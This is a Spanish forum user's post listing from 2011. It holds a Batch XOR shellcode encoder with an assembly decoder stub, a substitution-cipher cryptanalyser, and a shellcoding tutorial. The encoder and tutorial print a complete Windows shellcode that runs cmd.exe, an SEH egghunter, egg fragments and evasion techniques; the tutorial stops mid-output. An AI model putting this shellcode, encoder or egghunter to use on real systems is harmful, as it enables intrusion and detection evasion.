|
Mostrar Temas
|
Páginas: [1]
|
1
|
Programación / Scripting / [Batch] Codificador de shellcodes
|
en: 27 Febrero 2011, 00:29 am
|
Referencia:: shc_encoder (Codificador de shellcodes) :: Autor: lShadowl; The Shadow :: Fecha de realizacion: 07/08/09 :: Caracteristicas: :: -Utiliza el metodo xor para cifrar. :: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente. :: -Identifica la existencia de bytes nulos y saltos de linea. :: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea. :: Limitaciones: :: -Tama?o maximo de la shellcode de entrada: 61423 bytes :: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52 @echo off setlocal enabledelayedexpansion if '%1==' (goto:err) if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err) echo =Shellcode original: %shellcode% set hexstr=0123456789abcdef&& set xor_value=9
:encode set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode= echo =^> Codificando Opcodes (xor 0x%xor_value%)... :encode_loop set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex= if %current_byte%'==' (goto:test) set/a encoded_byte=0x%current_byte%^^0x%xor_value% call:d2h %encoded_byte% if /i %hex:~-2% lss 10 set hex=0%hex:~-2% set encoded_shellcode=%encoded_shellcode%\x%hex:~-2% set/a i+=4&& goto:encode_loop
:test echo =Shellcode codificada: %encoded_shellcode% echo =^> Moviendo shellcode codificada a sc.shellcode... echo %encoded_shellcode%>sc.shellcode echo =^> Buscando bytes nulos y saltos de linea en sc.shellcode... for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul if !errorlevel!==0 (echo =^< %%a encontrado con: xor 0x%xor_value% goto:encode)) :len_loop set var=!shellcode:~%sc_sz%,1! if %var%'==' goto:build_decoder set/a sc_sz+=1 goto:len_loop
:build_decoder echo =^> Creando codigo fuente del stub decodificador... set/a sc_sz/=4 set/a sc_sz+=0x1010 call:d2h %sc_sz% echo ****************%hex: =%%xor_value%_decoder.asm******** (echo [BITS 32] echo global ini echo ini: echo jmp short sc_data echo decode_routine: echo pop ebx echo xor ecx,ecx echo mov cx, 0x%hex: =% echo sub cx, 0x1010 echo decode_loop: echo xor byte [ebx], 0x%xor_value% echo inc ebx echo loop decode_loop echo jmp short shellcode echo sc_data: echo call decode_routine echo shellcode:)>%hex: =%%xor_value%_decoder.asm type %hex: =%%xor_value%_decoder.asm&& echo ***************************************** echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm
echo.&& echo ^>Proceso finalizado^< goto:eof :err echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof
:d2h set dec=%1&& set hex= :loop set/a ths=%dec% %% 16 call :evals %%hexstr:~%ths%,1%% if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF) goto:loop :evals set hex=%1%hex: =%&& goto:EOF El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso. Aqui una captura de salida del script trabajando: =Shellcode original:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31
\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74
\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38
\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0
\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff
\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00 => Codificando Opcodes (xor 0x10)... =Shellcode codificada:
\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21
\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64
\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28
\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\
x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\
xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... =< \x00 encontrado con: xor 0x10 => Codificando Opcodes (xor 0x11)... =Shellcode codificada:
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20
\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65
\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29
\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\
x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\
xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... => Creando codigo fuente del stub decodificador... ****************10c111_decoder.asm******** [BITS 32] global ini ini: jmp short sc_data decode_routine: pop ebx xor ecx,ecx mov cx, 0x10c1 sub cx, 0x1010 decode_loop: xor byte [ebx], 0x11 inc ebx loop decode_loop jmp short shellcode sc_data: call decode_routine shellcode: ***************************************** =Codigo del decodificador guardado en 10c111_decoder.asm
>Proceso finalizado<
Saludos!
|
|
|
2
|
Programación / Scripting / [Batch] Criptoanalizador del cifrado generico monoalfabetico por sustitucion
|
en: 26 Febrero 2011, 14:23 pm
|
Se que aun puede tener alguno que otro fallo, pero aun no los he encontrado. Tambien me gustaria agilizar el proceso un poco mas. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::Decriptor del sistema de encriptacion generico monoalfabetico por :: sustitucion ::Escrito por: lShadowl ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: @echo off setlocal enabledelayedexpansion ::::::::::::::::::::::::: ::Establece las variables ::::::::::::::::::::::::: set/p str=Cadena cifrada: echo.&&echo.&&echo. set abc=abcdefghijklmn_opqrstuvwxyz set phieuler27=18 set str_len=0 set cnt=0 set ret=0 call :set_len set/a s_len=%str_len%-1 echo.>%temp%\p.tmp echo.>outp.txt :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::Busca el conjunto de letras que utiliza la cadena cifrada :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: for /l %%x in (0,1,%str_len%) do ( if !cnt!==0 ( set letra_!cnt!=!str:~0,1! set /a cnt+=1 ) else ( set ret=1 set/a v=!cnt!-1 for /l %%y in (0,1,!v!) do call:cmp !letra_%%y! !str:~%%x,1! if !ret!==1 ( set letra_!cnt!=!str:~%%x,1! set /a cnt+=1 ) ) ) set /a cnt-=2 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::Busca el numero de repeticiones que tienen cada una de las letras :: del conjunto de letras de la cadena cifrada ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: for /l %%x in (0,1,%str_len%) do ( for /l %%y in (0,1,%cnt%) do ( call:cmp !letra_%%y! !str:~%%x,1! %%y ) ) :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::Realiza el ordenamiento de menor a mayor de las letras en relacion :: a su cantidad de repeticiones en la cadena cifrada :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: set/a uv=%cnt%-1 set/a uv2=%cnt% for /l %%a in (0,1,%uv%) do ( set/a vaux=%%a+1 for /l %%b in (!vaux!,1,!uv2!) do ( if /I !cnt_%%a! gtr !cnt_%%b! ( set tmp=!cnt_%%a! set tmp_l=!letra_%%a! set cnt_%%a=!cnt_%%b! set letra_%%a=!letra_%%b! set cnt_%%b=!tmp! set letra_%%b=!tmp_l! ) ) ) :::::::::::::::::::::::::::::::: ::Genera el alfabeto del mensaje :::::::::::::::::::::::::::::::: set Kabc=%letra_0% for /l %%a in (1,1,%cnt%) do (call:k %%a) if /I %cnt% lss 27 ( for %%a in (a b c d e f g h i j k l m n _ o p q r s t u v w x y z) do ( echo !Kabc!|find "%%a">nul if !errorlevel!==1 set Kabc=!Kabc!%%a ) ) :::::::::::::::::::::::::: ::Busqueda de congruencias :::::::::::::::::::::::::: set/a ma=0,sw=0 :m1 set mb=0 if %ma%==0 ( if %sw%==0 ( set sw=1 goto :m2 ) ) else if %ma%==26 goto :end set/a ma+=1 :m2 set mc=0 set/a mb+=1 if not %mb%==27 ( if %mb%==%ma% (goto :m2) ) else goto :m1 :m3 set/a mc+=1 if not %mc%==27 ( if %mc%==%ma% ( goto :m3 ) else if %mc%==%mb% goto :m3 rem echo %ma% %mb% %mc% call:atk %ma% %mb% %mc% goto :m3 ) else goto :m2 :end echo FINALIZADO goto:eof
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:atk call:fndpos !Kabc:~%1,1! p1 abc call:fndpos !Kabc:~%2,1! p2 abc call:fndpos !Kabc:~%3,1! p3 abc
set/a b=%p2%%%27
set/a parta=%p3%-%p1% if /I %parta% lss 0 set parta=27-%parta% set/a a=(%parta%*5)%%27
call:mcd %a% rem echo %p1%:%p2%:%p3% mcd=%mcd% if %mcd%==1 ( for /f "tokens=* delims=" %%a in (%temp%\p.tmp) do if %a%%b%==%%a goto:eof echo %a%%b%>>%temp%\p.tmp set abc2= set txt= for /l %%x in (0,1,26) do (call:stABC %%x %a% %b%) echo a=%a% b=%b% ^>^> set txt= for /l %%x in (0,1,%s_len%) do (call:stT %%x) echo %txt%>>outp.txt echo.&&echo. ) goto:eof
::Realiza comparaciones de cadenas :cmp if %1==%2 (set ret=0&& if not '%3==' set val=%3&& set/a cnt_!val!+=1) goto:eof
::Encuentra el largo de una cadena :set_len set var=!str:~%str_len%,1! if %var%'==' goto:eof set/a str_len+=1 goto:set_len
::Encuentra el maximo comun divisor :mcd set mcd=1 set cva=27 set cvb=%1 set i=2 :lop set/a v_a=%cva%%%%i%,v_b=%cvb%%%%i% if %V_a%%v_b%'==00' ( set/a mcd*=%i% set/a cva/=%i% set/a cvb/=%i% set i=2 ) else (set/a i+=1) if /I not %i% geq %cva% goto:lop goto:eof
::Genera la posible cadena :stT call:fndpos !str:~%1,1! t1 abc2 set/a t1%%=27 set/p txt=!abc:~%t1%,1!<nul set txt=%txt%!abc:~%t1%,1! goto:eof
::Genera el alfabeto para la ecuacion dada :stABC call:fndpos !abc:~%1,1! t1 abc set/a ct=((%2*%t1%+(%3+1))%%27) set abc2=%abc2%!abc:~%ct%,1! goto:eof
::Busca el valor numerico de la letra dada :fndpos for /l %%a in (0,1,27) do ( set ret=1 call:cmp !%3:~%%a,1! %1 if !ret!==0 call set %2=%%a ) goto:eof
:k set Kabc=%Kabc%!letra_%1! goto:eof PD: _=ñ PD2: la frase a criptoanalizar escribanla en una sola linea sin espacios.
|
|
|
3
|
Seguridad Informática / Bugs y Exploits / [Taller] Shellcoding: No mas bytes nulos!
|
en: 26 Febrero 2011, 14:18 pm
|
Shellcoding: No mas bytes nulos! por lShadowl
Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos ("00", "0D0A") en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver. Teoria Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit: Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio. Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia. Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada. >> Printable x86 opcodes tableComo podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son "0D" y "0A" respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte "00" (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar. +Teoria: otros problemas comunes al codear //clases de shellcodes->Shellcodes polimorficas: Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus. Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado. Como? veamos de que estoy hablando por medio de relaciones: a+b=c b+c=c 1(a+b)=c (a+(2*3))+(b+6)=c Como podemos ver, operaciones diferentes, llegan al mismo resultado. Igual en asm: { xor cx,cx add cx,32h }opcodes: 31C983C132 // cx=32h { xor cx,cx mov cl,31h inc cx }opcodes: 31C9B13141 // cx=32h El primer conjunto de instrucciones "31C983C132" son diferentes al segundo "31C9B13141", sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx. Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante. -> Staged shellcodes ~ Shellcode por etapas: Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una sección de shellcode peque?a que hace funcion de 'stub' cargando el resto de la shellcode estando ya dentro del host. Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt). --> Egg-hunt ~ Caceria de huevos: La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera sección de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra sección de la shellcode). Veamos un ejemplo: egghunt: jmp startup exception_handler: mov eax, [esp + 0x0c] lea ebx, [eax + 0x7c] add ebx, 0x3c add [ebx], 0x07 mov eax, [esp] add esp, 0x14 push eax xor eax, eax ret startup: mov eax, 0x42904290 ;marca del huevo, en este caso: ;nop ;inc edx ;nop ;inc edx jmp init_exception_handler_skip init_exception_handler_fwd: jmp init_exception_handler init_exception_handler_skip: call init_exception_handler_fwd init_exception_handler: pop ecx sub ecx, 0x25 push esp push ecx xor ebx, ebx not ebx push ebx xor edi, edi mov fs:[edi], esp search_loop_begin_pre: search_loop_start: xor ecx, ecx mov cl, 0x2 push edi ;posible punto de inicio del huevo a la pila repe scasd ;el puntero actual es el inicio del huevo? jnz search_loop_failed ;no, ok sigamos con el siguiente pop edi ;bien, restauramos el punto de inicio jmp edi ;vamos donde esta resto de la shellcode search_loop_failed: pop edi inc edi jmp search_loop_start
-->Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso : La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los "huevos" son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola. Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria. Veamos por encima las estructuras del SEH: EXCEPTION_POINTERS Structure: Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio. typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; }EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
EXCEPTION_RECORD Structure:Describe la excepcion. typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; }EXCEPTION_RECORD, *PEXCEPTION_RECORD;
Un ejemplo del w32_SEH_omelet.py de Skypher: // This is the binary code that needs to be executed to find the eggs, // recombine the orignal shellcode and execute it. It is 82 bytes: omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08"; // These are the eggs that need to be injected into the target process // for the omelet shellcode to be able to recreate the original shellcode // (you can insert them as many times as you want, as long as each one is // inserted at least once). They are 64 bytes each: egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57"; egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD"; egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01"; egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";
cifrado la shellcode:Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta sección veremos dos metodos de encripcion: el alfanumerico y el xor. -->Alfanumerico: El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta. ---> Ascii art: "Si vamos a hacer una shellcode, tiene que verse bien." WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34LZ1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWHHh 28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKABh HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooNqT DDMJGEIL7"""""""*Y""""YHBDAILHGAMILHG7"""""YBMKNILGIAIGKGEGICAEBGDGNGIFJNDGCDA7*"""7ILPELFACCLOBJJGGLK DDDCFCG',dIHHHDDb,'CFb`PCLOBNGILPMPDK YKEB7 FB7"""7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 "YFPPFHPMJFFHGAILF NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN APLHDMH JIL,""---, ELB MA7"""*"""7Y*"" 7DM NA7"---dY"""*Y*""*YDY*"""""*YCY*""* MLJ Y J*"""""*YFFPKLFHG BDLPHKM "YHFLEFOb, KNP P',NA7 dKY dNP",PN AJ YFLb`.YIAb,dCHb,',dGALDMb,',dGGb,JIF ,',dAFEKNb,'FFPPNAI FMAHEPI:-----,"JJF CFC ',IN7 dHM d CED EKL MGb EHP B ABK"'*LKL FHF .,EFC FCF*'"CFE F CFC - **Y FGFCPPF GOEILEG dPM7 O LNJ AAPTCBC( VEJ T JOH JOH QLB """ B WDZ P QKS LZNGY**"` OGW W ONM Y `"**+uq,.'WPELAFG VPJLWUR URH "" FYG POI .'FVb YVQ ',PLP GZJ """ "ODb' JXM E XTO COY - pqd ILD,.qOXQ 7 bpp - YKH FFKMSLB EUSUKOX.'YWMFRRXY',CAY Di'ZQb YIEY"OWP BYOKJACSOKY" dYOS 'dVFB "YXVNQBY","YOUY"YBFb ,"YNFHOQY".WVKQJLV PUZZLCMFbasouvnandansodGDbuan?---, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneuoasobXLJYYBFU VQDTSOVGXSPY7"""""""*Y""""7D dBW" JXO KU7"""""*"""YEGLJQQLQAKSGBDEMEQLEZHTB7*"""YKKMOPFMUWUXNFJSNPFXV DRRQAIRQQMG',dTRUKCHb,'SYb`Q."YHXQZSY".IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI MIFQRSWKMJM QVQ', eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS NHNTEDQNQSJ WFX,""---, XSM *""*YLY*"""""*Y EAA FHQ Y*"""""*YIY*"""""*YVY*""* FML Y*"""""*YMAECTMQWHUOY YFWWCIECNFK "YXIXSEAb, HFF,dSIb,',dYPSBBb, KMH TZT ,dZQNONb,',dNCHOVb,',dMCb,UJP ,dNUSEJb,'KZOIXHNWBVS GJJKBJSBMXM:-----,"KTM ORX"'*ZUW dHA'.,ZEU SGQ UKA VLO',`**Y OTZ',`PYM NYN*'"PLF MJZ .,PZK RFNIKQUBDHT QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**"' ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**"`.YIHIUTGYLFP IQENEBPJILC NGC,"".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,'.qqd ENO,'.SAF GZT,.qHLE HQZ - qqd FWSFUKJCEFB YJASYKFYRCB.'YJFTEXVY',BHY Q YGY,"YJDBBAY",UKMb'GWb`YCABKYY"."YDWYHIY"."YMUY"YCAb"YBIIYNY",IEXZKKUMPQD PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuzas1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQZZ AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVXETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZAL ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVONRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKVZX XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFORBAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZTUN
>> http://skypher.com/wiki/index.php/Hacking/Shellcode/ASCII_Art/BlockyY aqui: ALPHA2, un codificador alfanumerico para shellcodes. --> XOR-enado Una shellcode de este tipo consiste en dos partes: el 'stub', que se encarga de decodificar el codigo cifrado y ejecutarlo y el codigo cifrado en si. Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR. Veamos el codigo: :: shc_encoder (Codificador de shellcodes) :: Autor: lShadowl; The Shadow :: Fecha de realizacion: 07/08/09 :: Caracteristicas: :: -Utiliza el metodo xor para cifrar. :: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente. :: -Identifica la existencia de bytes nulos y saltos de linea. :: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea. :: Limitaciones: :: -Tama?o maximo de la shellcode de entrada: 61423 bytes :: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52 echo =Shellcode original: %shellcode% set hexstr=0123456789abcdef && set xor_value=9 :encode set sc_sz=0 && set i=2 && set/a xor_value+=0x01 && set encoded_shellcode= echo = ^> Codificando Opcodes (xor 0x %xor_value%)... :encode_loop set current_byte= !shellcode:~% style="color: #448888;">i%,2!&& set encodedbyte_hex= if %current_byte%'==' (goto:test ) set/a encoded_byte=0x %current_byte%^^0x %xor_value% if /i %hex:~-2% lss 10 set hex=0 %hex:~-2% set encoded_shellcode= %encoded_shellcode%\x %hex:~-2% :test echo =Shellcode codificada: %encoded_shellcode% echo = ^> Moviendo shellcode codificada a sc.shellcode... echo %encoded_shellcode%>sc.shellcode echo = ^> Buscando bytes nulos y saltos de linea en sc.shellcode... for %%a in (\x00 \x0d\x0a ) do (type sc.shellcode |find " %%a" >nul :len_loop set var= !shellcode:~% style="color: #448888;">sc_sz%,1! if %var%'==' goto:build_decoder :build_decoder echo = ^> Creando codigo fuente del stub decodificador... echo **************** %hex: =%%xor_value%_decoder.asm******** echo xor byte [ebx], 0x %xor_value% echo shellcode: )>%hex: =%%xor_value%_decoder.asm type %hex: =%%xor_value%_decoder.asm && echo ***************************************** echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm :err echo Uso: shc_encoder.bat ^<shellcode ^>&& goto:eof :d2h :loop call : evals %%hexstr:~%ths %,1%% :evals
El script esta bastante explicado asi que pasaremos a la prueba: Usaremos la shellcode creada en el articulo " Creando una Shellcode": \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00 Como podemos ver, contiene muchos bytes nulos: "\x00". Veamos la salida al pasarlo por el script: =Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00 => Codificando Opcodes (xor 0x10)... =Shellcode codificada: 